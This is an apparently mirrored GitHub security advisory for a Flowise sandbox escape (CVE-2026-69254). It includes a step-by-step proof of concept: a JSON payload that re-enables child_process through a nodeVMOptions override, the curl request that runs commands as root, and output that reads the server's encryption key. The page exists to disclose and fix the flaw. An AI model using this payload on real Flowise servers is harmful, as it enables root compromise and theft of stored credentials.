GHSA-3769-JGQC-CXM7

Vulnerability from github – Published: 2026-08-04 15:29 – Updated: 2026-08-04 15:29
VLAI
Summary
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
Details

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } ``` The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunctionpackages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode()packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

```bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest

# Wait ~30s for startup
curl http://localhost:3000/api/v1/version # {"version":"3.1.1"}
```

Step 2: Obtain Bearer Token

Register an account, then create an API key:

```bash
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'

# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
```

Step 3: Create Payload

bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })" } EOF

Step 4: Exploit

```bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory

# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \
-H "Authorization: Bearer " \ -d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"

docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt

docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...

docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
```
image

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:29:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n  default sandbox security settings via JavaScript\u0027s spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n  ```typescript\n  const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n  The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n  async (code, sandbox, options = {}) =\u003e {\n      const { nodeVMOptions = {} } = options;\n      // ...\n      const defaultNodeVMOptions = {\n          require: {\n              builtin: builtinDeps,  // restricted allowlist \u2014 blocks child_process, fs, os, etc.\n              mock: secureWrappers\n          },\n          eval: false,\n          wasm: false\n      }\n      const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // \u2190 VULN: caller overrides security settings\n      const vm = new NodeVM(finalNodeVMOptions)\n  }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration**                                                                                                                                                                                                           \n  `packages/server/src/routes/node-custom-functions/index.ts` (line 8)                                                                                                                                                                       \n                                                                                                                                                                                                                                             \n  **Taint 02: Controller**                                                                                                                                                                                                                   \n  `executeCustomFunction()` passes `req.body` to service \u2014 `packages/server/src/controllers/nodes/index.ts` (line 90)                                                                                                                        \n                                                                                                                                                                                                                                             \n  **Taint 03: Service**\n  `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` \u2014 `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n                                                                                                                                                                                                                                             \n  **Taint 04: Sandbox Entry**                                                                                                                                                                                                                \n  Code runs inside NodeVM via `executeJavaScriptCode()` \u2014 `packages/components/src/utils.ts` (line 1760)                                                                                                                                     \n                                                                                                                                                                                                                                             \n  **Taint 05: Escape**\n  Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n                                                                                                                                                                                                                                             \n  **Taint 06: Override**\n  The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`                                    \n                                                                                                                                                                                                                                             \n  **Taint 07: RCE**                                                                                                                                                                                                                          \n  Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root.                                                                                                                                             \n\n\n\n\n\n### PoC\n  **Step 1: Start Flowise**                                                                                                                                                                                                                  \n                  \n  ```bash\n  docker run -d --name flowise-poc -p 3000:3000 \\\n    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\                                                                                                                                                                                         \n    flowiseai/flowise:latest                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                             \n  # Wait ~30s for startup                                                                                                                                                                                                                    \n  curl http://localhost:3000/api/v1/version\n  # {\"version\":\"3.1.1\"}                                                                                                                                                                                                                      \n  ```             \n                                                                                                                                                                                                                                             \n  **Step 2: Obtain Bearer Token**\n\n  Register an account, then create an API key:                                                                                                                                                                                               \n   \n  ```bash                                                                                                                                                                                                                                    \n  # Register      \n  curl -s -X POST http://localhost:3000/api/v1/account/register \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}\u0027                                                                                                                                                   \n                                                                                                                                                                                                                                             \n  # Create API key (via the UI at http://localhost:3000 \u2192 Settings \u2192 API Keys \u2192 Create)                                                                                                                                                      \n  # Copy the key \u2014 this is the Bearer token used below.                                                                                                                                                                                      \n  ```                                                                                                                                                                                                                                        \n                  \n  **Step 3: Create Payload**                                                                                                                                                                                                                 \n                  \n  ```bash\n  cat \u003e exploit.json \u003c\u003c \u0027EOF\u0027\n  {\n    \"javascriptFunction\": \"const utils = require(\u0027/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js\u0027); const code = \u0027const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\");    \n  return cp.execSync(\\\"id\\\").toString()\u0027; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\"                                                                                          \n  }                                                                                                                                                                                                                                          \n  EOF                                                                                                                                                                                                                                        \n  ```             \n\n  **Step 4: Exploit**\n\n  ```bash\n  # Pre-check: file does not exist\n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        \n                                                                                                                                                                                                                                             \n  # Execute                                                                                                                                                                                                                                  \n  curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n    -H \"Content-Type: application/json\" \\                                                                                                                                                                                                    \n    -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n    -d @exploit.json                                                                                                                                                                                                                         \n  # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\"                                                                                                                                                             \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             \n  # uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /root/.flowise/encryption.key\n  # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         \n  ```                                                                                                                                                                                                                                        \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which  \n  decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n   access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.",
  "id": "GHSA-3769-jgqc-cxm7",
  "modified": "2026-08-04T15:29:13Z",
  "published": "2026-08-04T15:29:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…